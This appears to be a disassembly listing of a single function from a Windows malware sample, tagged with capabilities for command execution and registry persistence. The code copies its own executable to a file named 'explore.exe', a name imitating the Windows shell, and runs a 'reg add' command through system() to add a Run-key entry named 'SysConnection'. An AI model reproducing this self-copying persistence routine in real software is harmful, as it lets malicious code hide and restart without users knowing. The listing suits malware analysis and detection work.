Function at 0x140001c2c
Capabilities:
Execute command
Persist via run registry key
Set registry value

Disassembly:
push rbp
push rbx
sub rsp, 0x3e8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x380], rcx
lea rax, [rbp + 0x21f]
mov qword [rbp + 0x350], rax
nop
nop
lea rdx, [rbp + 0x21f]
lea rax, [rbp + 0x1f0]
mov r8, rdx
lea rdx, [0x14000c090]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x21f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x20]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call rax
mov dword [rbp + 0x358], eax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140004a08
lea rax, [rbp + 0x250]
mov r8d, 2
lea rdx, str.explore.exe
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_char__12___std::filesystem::__cxx11.path__char_const_____12___std::filesystem::__cxx11::path::format_
mov rax, qword [rbp + 0x380]
lea rdx, [rax + 0x48]
lea rax, [rbp + 0x280]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rax, [rbp + 0x220]
lea rcx, [rbp + 0x250]
lea rdx, [rbp + 0x280]
mov r8, rcx
mov rcx, rax
call method.std::filesystem::__cxx11.operator__std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const_
lea rax, [rbp - 0x60]
lea rdx, [rbp + 0x220]
mov rcx, rax
call method.std::filesystem::__cxx11::path.u8string___const
lea rax, [rbp + 0x220]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x280]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x250]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
mov dword [rbp + 0x35c], 0
jmp 0x140001d7c
mov eax, dword [rbp + 0x35c]
cdqe
movzx eax, word [rbp + rax*2 - 0x20]
movsx edx, al
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_
add dword [rbp + 0x35c], 1
mov eax, dword [rbp + 0x35c]
cmp eax, dword [rbp + 0x358]
jl 0x140001d59
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x2b0]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x2e0]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rdx, [rbp + 0x2b0]
lea rax, [rbp + 0x2e0]
mov rcx, rax
call method.std::filesystem.copy_file_std::filesystem::__cxx11::path_const__std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0x2e0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x2b0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x330]
lea rdx, [rbp - 0x60]
mov r8, rdx
lea rdx, str.reg_add_HKCUSoftwareMicrosoftWindowsCurrentVersionRun__v_SysConnection___t_REG_SZ__d__
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x310]
lea rdx, [rbp + 0x330]
lea r8, [0x14000c0fc]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x310]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
call sym.system
lea rax, [rbp + 0x310]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x330]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001f75
add rsp, 0x3e8
pop rbx
pop rbp
ret